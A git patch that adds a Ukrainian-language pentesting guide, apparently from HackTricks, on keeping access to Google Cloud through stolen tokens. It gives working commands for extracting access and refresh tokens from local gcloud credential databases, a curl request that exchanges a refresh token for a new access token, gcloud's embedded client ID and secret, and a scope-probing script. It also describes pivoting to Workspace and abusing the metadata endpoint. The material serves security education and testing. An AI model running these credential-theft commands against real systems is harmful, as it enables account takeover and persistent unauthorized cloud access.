From 8c3b74a2b60284b332878a4f3e23e4cc9c7a8536 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 21 Feb 2025 11:04:42 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s --- .../gcp-non-svc-persistence.md | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md new file mode 100644 index 000000000..8265b3ee6 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md @@ -0,0 +1,90 @@ +# GCP - Токен Постійності + +{{#include ../../../banners/hacktricks-training.md}} + +### Токени Аутентифікованого Користувача + +Щоб отримати **поточний токен** користувача, ви можете виконати: +```bash +sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" +``` +Перевірте на цій сторінці, як **безпосередньо використовувати цей токен за допомогою gcloud**: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp +{{#endref}} + +Щоб отримати деталі для **генерації нового токена доступу**, виконайте: +```bash +sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" +``` +Також можливо знайти токени оновлення в **`$HOME/.config/gcloud/application_default_credentials.json`** та в **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**. + +Щоб отримати новий оновлений токен доступу з **токеном оновлення**, ідентифікатором клієнта та секретом клієнта, виконайте: +```bash +curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token +``` +Термін дії токенів оновлення можна керувати в **Admin** > **Security** > **Google Cloud session control**, і за замовчуванням він встановлений на 16 годин, хоча його можна налаштувати так, щоб він ніколи не закінчувався: + +
+ +### Auth flow + +Потік аутентифікації при використанні чогось на кшталт `gcloud auth login` відкриє запит у браузері, і після прийняття всіх областей браузер надішле запит, подібний до цього, на http-порт, відкритий інструментом: +``` +/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1 +``` +Тоді gcloud використовуватиме стан і код з деяким зашитим `client_id` (`32555940559.apps.googleusercontent.com`) та **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`), щоб отримати **останні дані токена оновлення**. + +> [!CAUTION] +> Зверніть увагу, що зв'язок з localhost здійснюється через HTTP, тому можливо перехопити дані для отримання токена оновлення, однак ці дані дійсні лише 1 раз, тому це буде марно, легше просто прочитати токен оновлення з файлу. + +### OAuth Scopes + +Ви можете знайти всі Google scopes на [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) або отримати їх, виконавши: +```bash +curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u +``` +Можна побачити, які області підтримує програма, яку **`gcloud`** використовує для аутентифікації, за допомогою цього скрипта: +```bash +curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do +echo -ne "Testing $scope \r" +if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then +echo "" +echo $scope +fi +done +``` +Після виконання було перевірено, що цей додаток підтримує ці області: +``` +https://www.googleapis.com/auth/appengine.admin +https://www.googleapis.com/auth/bigquery +https://www.googleapis.com/auth/cloud-platform +https://www.googleapis.com/auth/compute +https://www.googleapis.com/auth/devstorage.full_control +https://www.googleapis.com/auth/drive +https://www.googleapis.com/auth/userinfo.email +``` +цікаво бачити, як цей додаток підтримує **`drive`** область, що може дозволити користувачу ескалувати з GCP до Workspace, якщо зловмисник зможе змусити користувача згенерувати токен з цією областю. + +**Перевірте, як** [**зловживати цим тут**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.** + +### Облікові записи служб + +Так само, як і з автентифікованими користувачами, якщо вам вдасться **зламати файл приватного ключа** облікового запису служби, ви зможете **доступати до нього зазвичай так довго, як вам потрібно**.\ +Однак, якщо ви вкрадете **OAuth токен** облікового запису служби, це може бути ще цікавіше, оскільки, навіть якщо за замовчуванням ці токени корисні лише протягом години, якщо **жертва видалить приватний API ключ, OAuth токен залишиться дійсним до його закінчення**. + +### Метадані + +Очевидно, поки ви знаходитесь всередині машини, що працює в середовищі GCP, ви зможете **доступати до облікового запису служби, прикріпленого до цієї машини, звертаючись до кінцевої точки метаданих** (зверніть увагу, що токени Oauth, до яких ви можете отримати доступ на цій кінцевій точці, зазвичай обмежені областями). + +### Виправлення + +Деякі виправлення для цих технік пояснені в [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) + +### Посилання + +- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1) +- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) + +{{#include ../../../banners/hacktricks-training.md}}